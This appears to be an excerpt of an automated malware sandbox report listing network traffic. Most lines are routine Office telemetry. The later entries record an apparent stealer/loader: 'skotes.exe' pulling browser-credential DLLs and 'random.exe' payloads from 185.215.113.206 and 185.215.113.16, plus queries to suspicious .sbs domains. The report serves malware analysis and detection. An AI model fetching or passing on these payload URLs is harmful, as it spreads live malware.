Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: 4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp.10.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log7.10.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log7.10.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.10.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs
Source: global traffic	DNS traffic detected: DNS query: occupy-blushi.sbs

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: skotes.exe, 0000001C.00000002.3410402524.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000001C.00000002.3410402524.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d7f
